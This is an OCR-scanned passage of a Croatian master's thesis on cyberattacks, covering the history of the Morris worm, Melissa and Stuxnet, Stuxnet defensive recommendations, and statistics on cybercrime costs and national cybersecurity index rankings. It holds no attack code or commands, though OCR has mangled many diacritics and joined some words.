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1. UvOD

Kiberneti¢ki napadi svakim danom ostavljaju sve ve¢i i ozbiljniji utisak na danasnje drustvo. Zrtve
kibernetickog kriminala mogu biti individualne osobe, korporacije, organizacije ili drzavne
institucije. Razlozi napada mogu varirati od trivijalnog djelomi¢nog zaustavljanja rada do krade
financijskih sredstava ili identiteta. Provodenje kiberneti¢kih napada podrazumijeva koriStenje
sofisticiranih tehnika 1 alata Sto zna¢i da se za uspjeSno spreCavanje istih treba koristiti
interdisciplinarni pristup. Polja racunalnih i informacijskih tehnologija neprestano se razvijaju i
Sire, te se analogno tomu i kiberneticki napadiunaprjeduju, Sto poveéava njihov utjecaj na drustvo
i gospodarstvo. Iz navedenih razloga mozZe se zakljuCiti da polje kiberneti¢ke sigurnosti igra
relevantnu ulogu u zastiti od istih. Kiberneti¢ka sigurnost obuhvaca Siroki raspon strategija,
tehnika 1 praksi koje su usmjerene na otkrivanje, sprjeCavanje i ublaZzavanje posljedica
kibernetickih napada. Ista se ne ograni¢ava samo na racunalnu zastitu, ve¢ ukljucuje i upravljanje
rizikom, edukaciju zaposlenika, razvoj politika i sli¢no. 1z svih navedenih razloga jasno je da
kiberneticki napadi mogu imati iznimno Stetne posljedice stoga je diplomski rad usredotocen na

provedbu i analizu posljedica kiberneti¢kih napada u kontroliranom laboratorijskom okruzenju.

U prvom dijelu objaSnjen je i detaljno analiziran utjecaj kibernetickih napada, od povijesno
popularnih napada koji su potaknuli razvoj kiberneticke sigurnosti do detaljne statistike aktualnih
kiberneti¢kih napada. Takoder Su objasnjeni ekonomski i drustveni utjecaji kiberneti¢kih napada.
Provedba svih napada odradena je unutar sigurnog laboratorijskog okruzenja, a postavljanje istoga
je objasnjeno pri pocetku drugog dijela rada. Provedba i analiza posljedica kibernetickih napada
odradena je u drugom dijelu te su za svaki napad detaljno objasnjene protumjere i strategije za

uspjesnu obranu. U tre¢em dijelu rada su detaljno opisane generalne protumjere koje predstavljaju

ucinkovita rjeSenja za obranu od veéine kibernetickih napada.



2. ANALIZA UTJECAJA KIBERNETICKIH NAPADA

Kiberneticki napadi ve¢ dugi niz godina imaju znacajan ekonomski i drustveni u¢inak. Krajnji
ciljevi napada mogu varirati od krade podataka korisnika do pukog uniStavanja sustava. Prije
prelaska na istrazivanje kibernetickih napada potrebno je objasniti pojam kibernetickog napada.
Kiberneticki napad je svaka aktivnost koja moze prouzro€iti ozbiljnu Stetu racunalnom sustavu,
mrezi ili bilo kojoj drugoj digitalnoj imovini organizacije ili pojedinca koja igra bitnu ulogu u
svakodnevnom zivotu istih. Kiberneticke napade se takoder moze i opisati kao napade osmisljene
za iskoriStavanje stvarnih ranjivosti u sustavima i mrezama, kako bi im se pristupilo. Budu¢i da
jedan kiberneticki napad moze ukljucivati iskoriStavanje vise ranjivosti, obicno je prikladnije
nazvati ga kombiniranim kibernetickim napadom. Kiberneti¢ke napade mogu provesti zaposlenici
unutar organizacije ili neidentificirane vanjske strane na udaljenim lokacijama. Svaka nova
tehnologija uz svoje predvidene koristi donosi i nove prijetnje. Ovo je posebno vazno kod
implementacije 1T sustava unutar organizacije kao dijela poslovnog procesa. lako nove tehnologije
donose znacajna poboljsanja u radu organizacije, u isto vrijeme otvaraju mogucnost za kiberneticki

napad [1].
2.1. Povijesni pregled kibernetickih napada

Kiberneticki napadi datiraju jo§ od samih pocetaka koristenja racunalnih sustava te svakim danom
postaju sve ucestaliji i sofisticiraniji. S godinama se sve vise razvijaju postojeci i pronalaze novi
nacini za iskoriStavanje ranjivosti sustava. ProuCavanje prethodnih kibernetickih napadai detaljno

istrazivanje kako su izvedeni uvelike moze pomoc¢i u obrani od buducih.

2.1.1. Morris rac¢unalni crv

Racunalni crvi predstavljaju znacajan rizik za sigurnost mreze. Sadrze isti destruktivni potencijal
kao i drugi objekti zlonamjernog koda ali s dodatnom funkcionalno$¢u. Prema [2] ra¢unalni crv je
definiran kao samo repliciraju¢i zlonamjerni kod koji se moze izvrsSiti i $iriti neovisno o Zrtvinim
aplikacijama ili datotekama. Za razliku od virusa, crvi se razmnozavaju sami, bez ljudske

intervencije.

Godine 1988. jedan je student izveo prvi veliki napad na Internetu i postao prva osoba osudena za
novu vrstu zlo¢ina. Ovaj kiberneti¢ki crv poceo Se $iriti nevjerojatnom brzinom i zaustavio brojna
raCunala. Unutar 24 sata, procjenjuje se da je pogodeno od 6000 do 60000 racunala koja su tada
bila spojena na Internet. Zlonamjerni program zarazio je sustave na nizu prestiznih fakulteta,

javnih 1 privatnih istrazivackih centara koji su €inili ranu nacionalnu elektronicku mrezu. Medu
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brojnim zrtvama bili su Harvard, Princeton, Stanford, Johns Hopkins, NASA i Nacionalni
laboratorij Lawrence Livermore. Znatno je usporio rad vitalnih vojnih i sveudilisnih funkcija.
Elektroni¢ke poruke su kasnile danima. Mrezna zajednica trudila se otkriti kako crv radi i kako ga
ukloniti. To¢nu Stetu bilo je tesko kvantificirati, ali procjene su pocele od 100000 USD i skocile
su do nekoliko milijuna. Nakon $to je incident postao javan, FBI je pokrenuo istragu. Agenti su
brzo utvrdili da Robert Tappan Morris, 23-godisnji student Sveucilista Cornell, stoji iza napadate
su poceli ispitivati njega i njegove suradnike te desifrirati njegove ra¢unalne datoteke, Sto je dovelo
do mnostva inkriminiraju¢ih dokaza. Godine 1986. Kongres je odobrio Zakon o racunalnim
prijevarama i zlouporabi, ¢ime su zabranili neovlasteni pristup zasticenim racunalima. TuZitelji su
optuzili Morrisa 1989. godine. Sljedece godine porota ga je proglasila krivim, ¢ime je postao prva
osoba osudena prema zakonu iz 1986. godine. Morris je, medutim, bio posteden zatvora, umjesto
toga dobio je novcanu kaznu, uvjetnu kaznu i nalog da zavrsi 400 sati druStveno korisnog rada.
Ovaj dogadaj imao je znacajan utjecaj na naciju koja je tadashvatila koliko su ra¢unala postala
vazna 1 ranjiva. Ideja kibernetiCke sigurnosti postala je nesto Sto su korisnici racunala poceli
shvacati ozbiljnije. Samo nekoliko dana nakon napada, u Pittsburghu je prema uputama
Ministarstva obrane osnovan prvi tim za hitne slu¢ajeve u zemlji. Programeri su takoder poceli

stvarati neophodne programe za otkrivanje neovlastenih upada u racunalo [3].

The Morris Internet Worm source code

This disk contains the complete source code of the Morris Internet
worm program. This tiny, 99-line program brought large pieces
of the Internet to a standstill on November 2%, 1988.

The worm was the first of many intrusive programs that use the
Internet to spread.

ioiio Computer
?',’r& History
r9 ¥ Museum

Slika 1. Izvomikod Morris crva na disketi Cuvanumuzeju [4]



Slika 1. prikazuje disketu s izvornim kodom Morris crva koja se nalazi u Muzeju Povijesti
Racunala u gradu Mountain View, Kalifornija. Detaljna analiza na¢ina rada crva je krucijalna kako
bi se to¢no objasnio nacin na koji se crv §irio. Mete crva bila su Sun 3 i VAX racunala koja su
koristila operacijski sustav Berkeley 4.3 UNIX te su sadrzavala TCP/IP Internet protokole.
Njegova jedina svrha bila je prelazak na nova racunala zaobilaZzenjem postupaka provjere
autenti¢nosti i Sirenje novih kopija samog sebe. Svaki novi crv je prilikom nastanka izgradio popis
udaljenih racunala koje moze napasti. Popis je napravio uz pomo¢ tablice koja je sadrzavala
racunala koja su smatrala trenutnog domacina crva povjerljivim, te uz popis kontakata korisnika
domacina, tablica po kojima se korisnicima zadaju dopustenja za pristup udaljenim rac¢unima te na
posljetku iz programa koji javlja status mreznih veza. Na svaki od potencijalnih novih domacina,

crv je pokusao uéi na razne nacine:

e lazno se predstavljaju¢i kao korisnik prijavom u njegov racun nakon pronalazenja lozinke
istoga

e iskoriStavanjem greske u finger protokolu, koja javlja gdje se nalazi udaljeni korisnik

e iskoriStavanjem ranjivosti putem opcije otklanjanja pogreSaka na udaljenom procesu, koji

prima 1 Salje postu.

Paralelno s napadima na nova racunala, crv je pokuSavao pogoditi lozinke korisnickih ra¢una na
trenutnom domacinu. Prvobitno je isprobao naziv rauna i njegove jednostavne permutacije, zatim
popis od 432 ugradene lozinke, te na kraju sve rijeci iz lokalnog rjecnika. Neotkriveni crv mogao
je provesti dane pokuSavajuéi probiti lozinku. Ako je bilo koji od njegovih napada na nove
domacine uspio, crv bi imao moguénost komunikacije s naredbenim retkom na udaljenom stroju.
U naredbeni redak bi unio prethodno pripremljeni program od 99 linija, s naredbama za prevodenje
1 izvrSavanje, a zatim bi prekinuo vezu. Ako bi se program uspje$no pokrenuo, pozvao bi
nadredenog crva u roku od 120 sekundi. Roditeljski crv kopirao je Sifrirane datoteke koje su
sadrzavale cijeli kod crva. Roditeljski crv je zatim pokrenuo naredbe za konstruiranje novog crva
iz Sifriranih datotekai pokretanje istoga. Crv je takoder pokuSao kontrolirati populaciju, trazeci
druge crve u istom domacinu i odlucivanje koji ¢e od njih biti terminiran. Medutim, crv koji je
trebao biti terminiran bi prvo napao mnogo drugih racunala $to je dovelo do znatno brojnijeg
stvaranja crva u odnosu na terminiranje. StoviSe, jedan od svakih sedam crva proglasio se
besmrtnim 1 potpuno je zaobisao svako sudjelovanje u kontroli populacije. Izvorni kod crva je
Sifriran 1 poslan na udaljenog domacina jedino kadabi se prethodno pripremljeni program uspjesno
pokrenuo, §to je uvelike poboljsalo skrivenost crva. Novi crv nije ostavio nikakve tragove u
datoteCnom sustavu, kopirao je sve svoje datoteke u memoriju i izbrisao ih iz direktorija sustava.
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Crv je onemogucio funkciju sustava koja stvara datoteku s izvatkom (engl. memory dump) u
slu¢aju pogreske, i Kkriptirao je sve nizove znakova, tako da bi u slucaju dolaska do datoteke s
izvatkom, ista bila beskorisna. Datoteka s izvatkom biljezi sav sadrzaj memorije kada se racunalo
neocekivano zaustavi, $to bi znatno olaksSalo otkrivanje i zaustavljanje crva. Crv si je dodijelio ime
koje je izgledalo bezazleno programu koji ispisuje procese sustava i Cesto je mijenjao svoj

identifikator procesa [5].

2.1.2. Melissa virus

Virus je zlonamjerni kod koji se replicira nakon §to se prilozi datotekama na zrtvinom uredaju.
Kadase zrtvine datoteke pokrenu, virus moze izvrSiti svoj kod. Drugim rije¢ima, virusi se ne mogu
sami razmnozavati [2]. Virusi mogu biti iznimno Stetni i mogu trajno unistiti podatke, usporiti
sustav 1 biljeziti pritiske tipki.

Krajem ozujka 1999. godine, programer po imenu David Lee Smith oteo je jedan America Online
(AOL) racun i upotrijebio ga za postavljanje datoteke na internetsku grupu pod nazivom alt.sex.
Objava je obecavala desetke besplatnih lozinki za Internet stranice sa sadrzajem za odrasle. Kada
su korisnici zagrizli mamac, preuzeli dokument i zatim ga otvorili u Microsoft Wordu, virus je
pusten na njihova racunala. 26. ozujka Vvirus se poc¢eo rapidno $iriti. Virus Melissa, kojeg je Smith
navodno nazvao po striptizeti na Floridi, zapoceo je preuzimanjem kontrole nad Microsoft Word
programom na Zrtvinom racunalu. Zatim je pomoc¢u makronaredbe preoteo njihov Microsoft
Outlook sustav elektronicke poste i poslao poruke na prvih 50 adresa na njihovim listama
kontakata. U programu Word cesto koriSteni zadatci se mogu automatizirati stvaranjem i
pokretanjem makronaredbi. Makronaredba je niz naredbi i uputa koje se grupiraju kao jedna
naredba u svrhu automatizacije zadataka. Te su poruke dovodile primatelje u iskusenje da otvore
privitak zarazen virusom daju¢i mu imena kao $to su sexxxy.jpg ili naked women ili lazno tvrdeci
da je u privitku dokument koji je primatelj trazio. Uz pomo¢ lukavog druStvenog inzenjeringa,

virus je djelovao poput automatiziranog lan¢anog pisma [7].
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Slika 2. Poruka s privitkom koji sadrzi Melissa virus [6]
Slika 2. prikazuje kako je izgledala poruka koja sadrzi Melissa virus u privitku. Primatelji nisu
imali nikakve sumnje jer na prvi pogled poruka izgleda bezopasno i intrigantno. Virus nije bio
namijenjen kradi novca ili informacija, ali je svejedno uzrokovao dosta problema. PosluZitelji
elektronicke poste u visSe od 300 korporacija 1 vladinih agencija diljem svijeta postali su
preoptereceni, a neki su morali biti potpuno ugaseni, uklju¢uju¢i Microsoft. U roku od nekoliko
dana, strucnjaci za kiberneticku sigurnost su velikim dijelom zaustavili Sirenje virusa 1 vratili
funkcionalnost svojih mreza, iako je trebalo odredeno vrijeme da se virus u potpunosti ukloni. Uz
svoju istraznu ulogu, FBI je slao upozorenja o virusu i njegovim u¢incima, pomazuéi u smanjenju
destruktivnih u¢inaka napada. Ipak, kumulativna Steta bila je ogromna, otprilike 80 milijuna USD
za CiS€enje 1 popravak pogodenih racunalnih sustava. PronalaZenje krivca nije dugo trajalo,
zahvaljujuéi dojavi predstavnika AOL-a i gotovo besprijekornoj suradnji izmedu FBI-a, policije
New Jersey-a i drugih partnera. Vlasti su pratile elektronske tragove virusa do Smith-a, koji je
uhi¢en u sjeveroistocnom New Jersey-u 1. travnja 1999. godine. Smith je priznao krivnju u
prosincu 1999., a u svibnju 2002. osuden je na 20 mjeseci saveznog zatvora i nov¢anu kaznu od
5000 USD. Takoder je dogovorio suradnju s federalnim i drzavnim vlastima. Virus Melissa, koji
se u to vrijeme smatrao zarazom koja se najbrze Sirila, za mnoge je Amerikance bio grubo
upoznavanje s tamnom stranom Interneta. Svijest o opasnosti otvaranja nezeljenih privitaka
elektroni¢ke poste pocela je rasti sa stvarnoS¢u virusa i Stete koju mogu uciniti. Kao 1 crv Morris
nesto vise od desetljeca ranije, virus Melissa bio je dvosjekli ma¢, koji je doveo do poboljsanja

Internet sigurnosti, a istodobno je posluzio kao inspiracija za val jo§ skupljih 1 moénijih
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kibernetickih napada. Za FBI i njegove kolege, virus je bio znak upozorenja na veliku rastucu
prijetnju i potrebu da se brzo poja¢aju kiberneti¢ke sposobnosti i partnerstva. Prikladno, nekoliko
mjeseci nakon §to je Smith-u izreCena kazna, FBI je uspostavio svoj novi nacionalni kiberneticki
odjel usredotocen iskljuivo na Internet zloCine, s resursima i programima posvecenim zastiti

ameriCkih elektronickih mreza od stete [7].

Nakon sto je korisnik otvorio Word dokument u kojemu se nalazio Melissa virus, isti je napravio

sljedece:

e provijerio je li instaliran Word 97 ili Word 2000

e onemogucio odredene znacajke softvera, Sto je otezalo otkrivanje virusa

e poslao kopije zarazenog dokumenta na 50 drugih adresa koriste¢i kompatibilne verzije
Microsoft Outlook-a

e modificirao Word program tako da virus zarazi svaki dokument kojim je korisnik

upravljao. Ako se ti dokumenti dijele, virus se §iri.

Ako je lista kontakata korisnika sadrzavala dosta adresa elektronicke poste iste organizacije, virus
je mogao dosta brzo preopteretiti posluzitelje elektronicke poste $to je rezultiralo uskra¢ivanjem
usluge. Prema CERT Koordinacijskom Centru na Sveucilistu Carnegie Mellon, jedno je mjesto
prijavilo primanje 32000 kopija elektronicke poste koje su sadrzavale Melissa virus unutar 45
minuta. Zapravo, ono po ¢emu se Virus uistinu razlikovao od ostalih makro virusa bila je njegova
sposobnost da iskoristi prednosti Microsoft-ove aplikacije za elektronic¢ku postu i brzina kojom se
Sirio. Prema CERT Koordinacijskom Centru, prvi potvrdeni izvjestaji o virusu primljeni su u
petak, 26. ozujka 1999. godine. Do ponedjeljka, 29. ozujka, zaraZeno je vise od 100000 rac¢unala
u vise od 300 organizacija. Naime, osim $to je virus preopteretio sustave elektronicke poste, nije
trajno ostetio informacijske sustave drzavnog i privatnog sektora i nije ugrozio osjetljive drzavne
podatke. Analogno Sirenju Melissa virusa, na povrSinu su izasle razliCite varijacije istoga,
uklju¢ujuéi virus Papa, Microsoft Excel 97 ili Excel 2000 makro virus koji se takoder $irio putem
elektronicke poste. Prema Microsoft-u, navedeni virus je mogao generirati naredbe koje bi

rezultirale zna¢ajnim zagu$enjem mreznog prometa [8].

2.1.3. Stuxnet

Stuxnet je odigrao relevantnu ulogu kada je u pitanju zlonamjerni softver u industrijskim

kontrolnim sustavima (engl. industrial control system) ili skraceno ICS jer je bio prvi ciljani



naoruzani kiberneticki napad na industrijske kontrolne sustave. Prema [9] industrijski kontrolni
sustav se definira kao informacijski sustav koji se koristi za kontrolu industrijskih procesa kao $to
su proizvodnja, rukovanje proizvodima i distribucija. Industrijski kontrolni sustavi ukljucuju
sustave nadzorne kontrole 1 prikupljanja podataka koji se koriste za kontrolu geografski rasprSene
imovine, kao i distribuirane upravljacke sustave i manje upravljacke sustave koji koriste
programabilne logicke kontrolere za kontrolu lokaliziranih procesa. Prije Stuxnet-a, jos je uvijek
bilo uvrijeZeno misljenje da su industrijski sustavi imuni na kiberneticke napade zbog opskurnosti
i izolacije sustava te da nikada nece biti meta kiberneti¢kih kriminalaca. Prije Stuxnet-a uglavnom
se smatralo da su kiberneti¢ke prijetnje ograni¢ene na sluCajne zaraze sustava ili unutarnje
prijetnje. Iz navedenih razloga se jasno moze zakljuciti zasto je Stuxnet bio toliko razglasen i zasto

se 0 njemu i danas govori [10].
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Slika 3. Otkrivanje ranjivosti ICS sustava po godinama (2001.-2013.) [10]

Iz slike 3. se jasno moze vidjeti utjecaj Stuxnet-a na istrazivanja sigurnosti [CS sustava. Nakon §to
je opasnost naoruzanih kibernetickih napada na industrijske kontrolne sustave pravilno shvacena
broj otkriven ranjivosti se naglo povecao. Cijela industrija je pocela pruzati viSe paznje sigurnosti
vlastitih sustava. lako su se prve verzije Stuxnet-a pocele pojavljivati pocetkom studenog 2007.
godine, siroko rasprostranjene rasprave o0 istome nisu pocele sve do ljeta 2010. godine, nakon $to
je kiberneticki tim pod imenom Industrial Control Systems Cyber Emergency Response Team ili
skra¢eno ICS-CERT izdao upozorenje [10]. To je bio prvi poznati zlonamjerni softver prilagoden
ugrozavanju PLC softvera i imao je sljedece karakteristike:



e Cetiri iskoriStene ranjivosti nultog dana (greske koje su prethodno bile nepoznate
programerima)

e Windows rootkit (omogucuje zlonamjernom softveru privilegirana prava i skriva njegovo
postojanje od softvera za otkrivanje upada)

e ukljuCuje razlicite datume zaustavljanja izvrSenja za onemogucéavanje Sirenja

zlonamjernog softvera i rad u unaprijed odredenim budué¢im vremenima.

Stuxnet je mogao ugroziti racunala iskoriStavanjem ranjivosti nultog dana putem zarazenog USB
memorijskog Stapica. Uz navedeni nacin Sirenja, postojala su jo§ dva, putem lokalne mreZe i putem
Siemens projektnih datoteka. Kada je uredaj bio zarazen, Stuxnet je pokusao azurirati svoj kod s
Interneta. Osim ako je zarazeni uredaj imao specificnu platformu koju je Stuxnet ciljao, isti je
ostao neaktivan i nastavio je $iriti zarazu. Koriste¢i ugrozene digitalne certifikate, Stuxnet je imao
mogucnost zaobilaska vatrozida i nastavak sirenja lokalnom komunikacijskom mrezom SCADA
sustava. Prema [11] sustavi za nadzor kontrole i prikupljanje podataka (engl. Supervisory Control
and Data Acquisition) ili SCADA koriste se za upravljanje, nadzor i analizu industrijskih uredaja
1 procesa. Sustav se sastoji od softverskih i hardverskih komponenti i omogucuje daljinsko i
prikupljanje podataka na licu mjesta iz industrijske opreme. Tako tvrtkama omogucuje daljinsko
upravljanje industrijskim lokacijama kao S$to su vjetroelektrane, jer tvrtka moze pristupiti
podacima o turbinama i kontrolirati ih bez boravka na licu mjesta. Putem vr$njacke komunikacije
(engl. peer to peer) Stuxnet je imao mogucnost samostalnog azuriranja, ¢ak i kada zarazeni uredaj
nije imao izravan pristup Internetu. Nakon sto je ciljani PLC bio zarazen, Stuxnet je promijenio
svoj nacin rada. Koriste¢i PLC rootkit, zlonamjerni softver je modificirao PLC kod kako bi izvrSio
napad u svrhu razotkrivanja i dokumentiranja primljenin podatka. Nakon odredenog vremena
dokumentiranja podataka, Stuxnet je zapoceo sa sabotiranjem sklopovlja sustava. U slu¢aju
pronalaska odredenih postavki regulatora frekvencije, Stuxnet je izmijenio postavke frekvencije
sabotiraju¢i sustav centrifuge usporavanjem, a zatim ubrzavanjem motora na razli¢ite brzine u
razli¢itim vremenima. Prilikom promjene upravljackog signala koji se salje aktuatorima, Stuxnet
je sakrio Stetuna postrojenju tako sto je poslao prethodno dokumentirane podatke u SCADA sustav
[12].

Ako kriti¢ne infrastrukture u svijetu Zele biti sigurne, onda vlasnici i radnici moraju prepoznati da
su njihovi kontrolni sustavi sada meta sofisticiranin napada i trebaju prilagoditi svoje sigurnosne
programe u skladu s tim. Konkretno, prema [13] sigurnosni programi moraju:



razmotriti sve moguce naine zaraze i imati strategije za ublazavanje istih, umjesto
fokusiranja na jedan nacin kao $to su USB memorijski Stapici

instalirati tehnologije za otkrivanje upadai podizanje alarma kada je oprema ugroZena ili
u opasnosti od ugrozavanja

implementirati, upravljati i odrzavati na maksimalnoj ucinkovitosti sigurnosne tehnologije
I prakse prikladne za industrijske kontrolne sustave, ukljucujuéi vatrozid, antivirusnu
tehnologiju, sustave zakrpa i1 popis dopustenja dizajniran za SCADA/ICS sustav, kako bi
se napadi sofisticiranog zlonamjernog softvera uvelike otezali

prouciti vatrozide sposobne za dublje proucavanje paketa od klju¢nih SCADA i ICS
protokola

ukljuciti sigurnosne procjene i testiranja kao dio razvoja sustava i povremene procese
odrzavanja

prepoznati i ispraviti potencijalne ranjivosti, ¢ime se smanjuje vjerojatnost uspjesnog
napada

raditi na poboljsanju kulture industrijske sigurnosti medu menadZzmentom i tehnickim

osobljem
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Slika 4. Graf napada Stuxnet-a [13]

Slika 4. prikazuje graf napada Stuxnet-a te se jasno mogu vidjeti razli¢iti vektori i posljedice

napada. Stuxnet je imao izri€ito razvijen nacin Sirenja, u svakom koraku se mogao nastaviti Siriti
11
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2.2. Ekonomskii drustveni u¢inak kibernetickih napada

Sve snazniji 1 utjecajniji ucinak kibernetickih napada na ekonomiju i druStvo je neporeciv.
Posljedice povrede podataka postaju sve ozbiljnije, Sto kao rezultat ima znacajan financijski 1
reputacijski udar na organizacije i institucije. Kiberneti¢ki napadi predstavljaju prijetnju na
globalnoj razini, te zavisno od dosta faktora neke zemlje i podrucja su sklonija napadima. Jedan
od glavnih faktora je spremnost zemalja za spreavanje kibernetickih napada te moguénost

pravilnog upravljanja kibernetickim incidentima te minimiziranje posljedica.

Predvida se da ¢e globalni godisnji trosak kibernetickog kriminala dosegnuti 8 bilijuna USD u
2023. godini. Troskovi kibernetickog kriminala ukljuéuju osteCenje i uniStavanje podataka,
ukradeni novac, izgubljenu produktivnost, kradu intelektualnog vlasniStva, kradu osobnih i
financijskih podataka, prijevare, poremecaje normalnog tijeka poslovanja nakon napada,
forenzicku istragu, vracanje i brisanje ugrozenih podatka i sustava te narusavanje ugleda i
kredibiliteta [14].

Troskovi Stete kibernetickog kriminala kroz godine (mjereniu
bilijunima USD)
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Grafikon 1. Troskovi $tete kiberneti¢kog kriminala kroz godine [14]
Grafikon 1. prikazuje kretanje troSkova kibernetiCkog kriminala kroz prijasnje godine te

predvidanja za naredne godine. TroSkovi Stete rastu iz godine u godinu te postaju sve ozbiljniji.
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Globalni prosjek tjednih kiberneti¢kih napada na organizacije po
industrijama
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Grafikon 2. Globalni prosjek tjednih kibernetickih napada na organizacije po industrijama [15]
Grafikon 2. jasno prikazuje rast globalnog prosjeka kibernetickih napada u 2022. u odnosu na
2021. godinu. Obrazovna i istrazivacka industrija bila je najéeS¢a meta, s prosjekom od 2314
napada tjedno, $to iznosi povecanje od 43% u odnosu na 2021. godinu. Zdravstveni sektor
zabiljezio je najveci porast unapadima, ¢ak 75 % viSe napada nego prijaSnje godine. Kiberneticki
kriminalci su se usredotoCili na napadanje institucija u zdravstvenom sektoru jos od pocetka
epidemije bolesti COVID-19, kako bi ostvarili financijsku dobit. Sto se tice koli¢ine napada s
obzirom na geografsko podrucje, Afrika je imala najvecu koli¢inu napada s 1875 tjednih napada

po organizaciji, a iza nje slijedi podrucje Azije 1 Pacifika s 1691 tjednim napadom po organizaciji.
13



Napadi u Europi narasli su za 26 % u odnosu na 2021. godinu, $to iznosi najvece povecanje u

odnosu na ostala podruéja [15].

2.2.1. Nacionalni indeks kiberneticke sigurnosti

Prema [16] nacionalni indeks kiberneti¢ke sigurnosti (engl. national cyber security index) ili NCSI
se definira kao indeks koji mjeri spremnost zemalja da sprijeCe kiberneticke prijetnje i upravljaju
kiberneti¢kim incidentima. Pokazatelji nacionalnog indeksa kiberneti¢ke sigurnosti razvijeni su u
skladu s nacionalnim okvirom kiberneticke sigurnosti. Temeljne kiberneticke prijetnje su
uskrac¢ivanje usluga, povreda integriteta podataka te krSenje povjerljivosti podataka. Ove prijetnje
izravno utjecu na normalno funkcioniranje nacionalnih informacijskih i komunikacijskih sustava,
te na elektronicke usluge. Kako bi upravljala tim kibernetickim prijetnjama, drzava mora imati
razvijenu kiberneticku sigurnost i sustav upravljanja incidentima. NCSI se fokusira na mjerljive

aspekte kiberneticke sigurnosti koje implementira vlada:

e vazece zakonodavstvo — pravni akti, propisi, naredbe
e osnovane jedinice — postojece organizacije, odjeli
e formati suradnje — odbori, radne skupine

e ishodi — politike, vjezbe, tehnologije, web stranice, programi.

NCSI pokazuje postotak koji je zemlja dobila od maksimalne vrijednosti pokazatelja. Uz NCSI,
takoder se mjeri i razina digitalnog razvoja (engl. digital development level) ili DDL. DDL se
izraCunava prema razini razvijenosti informacijskih i komunikacijskih tehnologija (engl. ICT
development index) ili IDI te razini umreZene spremnosti (engl. networked readiness index) ili
NRI. DDL je prosje¢ni postotak koji je zemlja dobila od maksimalne vrijednosti oba indeksa. Uz
sve navedenoraCuna se i razlika, a ista pokazuje odnosizmedu NCSI-ai DDL-a. Pozitivan rezultat
pokazuje da je razvoj kiberneticke sigurnosti zemlje u skladu s digitalnim razvojem drustva ili

ispred njega. Negativan rezultat pokazuje da je digitalno drustvo zemlje naprednije od nacionalnog

podrucja kiberneticke sigurnosti [16].
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Rang DrZava NCSI DDL Razlika
1. Belgija 94,81 74,07 20,74
2. Litva 93,51 67,34 26,17
3. Estonija 93,51 75,59 17,92
4. Ceska 92,21 69,21 23,00
5. Njemacka 90,91 80,01 10,90
6. Rumunjska 89,61 59,84 29,77
7. Grcka 89,61 64,02 25,59
8. Portugal 89,61 68,46 21,15
9. Ujedinjeno Kraljevstvo 89,61 79,96 9,65
10. Spanjolska 88,31 72,21 16,10
11. Poljska 87,01 65,03 21,98
12. Austrija 85,71 75,76 9,95
13. Finska 85,71 78,35 7,36
14. Saudijska Arabija 84,42 63,89 20,53
15. Francuska 84,42 77,29 7,13
16. Svedska 84,42 81,51 2,91
17. Danska 84,42 82,68 1,74
18. Hrvatska 83,12 64,63 18,49
19. Slovacka 83,12 65,44 17,68
20. Nizozemska 83,12 81,86 1,26
21. Srbija 80,52 59,81 20,71
22. Malezija 79,22 62,19 17,03
23. Italija 79,22 67,26 11,96
24. Svicarska 76,62 82,93 -6,31

Tablica 1. Drzave rangirane prema NSCI-u [17]
Iz tablice 1. se moze vidjeti da je Belgija najbolje rangirana drzava s nacionalnim indeksom
kiberneticke sigurnosti 0d 94,81 %. Svicarska ima negativnu razliku izmedu NCSl-ai DDL-akoja
iznosi -6,31, a razlog tomu je naprednije digitalno drustvo od nacionalnog podrucja kiberneticke
sigurnosti u zemlji. Svicarska ima najvecu razinu digitalnog razvoja na svijetu koja iznosi 82,93
%. lako nije prikazano u tablici, prema podacima najgoru razliku ima Sveti Kristofor i Nevis koja

iznosi -60,71. Razlika je tolika jer je NSCI nizak, a DDL dosta visok. Najbolji omjer je postigao
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Banglades, gdje razlika iznosi 34,42. lako je digitalno drustvo slabo razvijeno, podrucje
kiberneticke sigurnosti u drzavi je vrlo napredno, $to je dovelo do ovakvog rezultata. Najnizi NCSI
imaju Juzni Sudan, Palau, Mikronezija i MarSalovi Otoci, a isti iznosi svega 1,30 %. Hrvatska se
plasirala na 18. mjesto s NCSI-om od 83,12 %. Prema [18] sljedece kategorije opisuju na koji
nacin se rauna NCSI. Svaka kategorija ima nekoliko zahtjeva koji trebaju biti ispunjeni za

dobivanje bodova. U svrhu primjera uzeti su podaci za Hrvatsku.

Op¢i pokazatelji kiberneticke sigurnosti:

razvoj politike kiberneticke sigurnosti: 100 %

analiza kibernetickih prijetnji 1 informacija: 100 %

obrazovanje i profesionalni razvoj: 33 %

doprinos globalnoj kibernetickoj sigurnosti: 33 %

Osnovni pokazatelji kiberneticke sigurnosti:

zaStita digitalnih usluga: 100 %

zastita neophodnih usluga: 83 %

usluga za digitalnu identifikaciju i povjerenja: 89 %

zastita osobnih podataka: 100 %
Pokazatelji upravljanja incidentima i krizom:

e odgovorna kiberneticke incidente: 100 %
e Upravljanje kibernetickom krizom: 80 %
e Dborba protiv kibernetickog kriminala: 100 %

e Vvojne kiberneticke operacije: 100 %

ICT Hrvatske je 72 % ¢€ime je 36. zemlja na svijetu, a NRI je 57 % §to ju plasira na 45. mjesto. Na
temelju ova dva broja se moze vidjeti kako se doslo do DDL-a Hrvatske, a isti se racuna kao

prosjecna vrijednost oba indeksa [18].

2.2.2. Posljedice povrede podataka tijekom kiberneti¢kih napada

Dosegavsi najvisu razinu svih vremena, troSak povrede podataka (engl. data breach) iznosio je
prosjecno 4,35 milijuna USD u 2022. godini. Ova brojka predstavlja poveéanje od 2,6 % u odnosu

na proSlu godinu, kada je prosjecni trosak povrede iznosio 4,24 milijuna USD. Prosjecni troSak
porastao je 12,7 % od 2020. godine kada je iznosio 3,86 milijuna USD [19].
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Prosjecni ukupnitroSak povrede podataka po godinama (mjeren
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Grafikon 3. Prosje¢ni ukupni troSak povrede podataka po godinama mjeren u milijunima USD [19]
Grafikon 3. jasno prikazuje trosak povrede podataka od 2016. do 2022. godine. Takoder se moze
primijeniti kako je proSla godina imala najve¢i troSak do sada. 83 % proucavanih organizacija
dozivjelo je vise od jedne povrede podataka, a samo 17 % je reklo da je ovo njihova prva povreda
podataka. 60 % proucavanih organizacija izjavilo je da su poskupili svoje usluge ili proizvode
zbog povrede podataka. Prosjecni trosak povrede podataka za proucavane organizacije kriticne
infrastrukture iznosio je 4,82 milijuna USD $to je 1 milijun USD vise od prosjecnog troska za
organizacije u drugim industrijama. Organizacije kriti¢ne infrastrukture ukljucivale su one u
financijskom, energetskom, transportnom, komunikacijskom, zdravstvenom, obrazovnom i
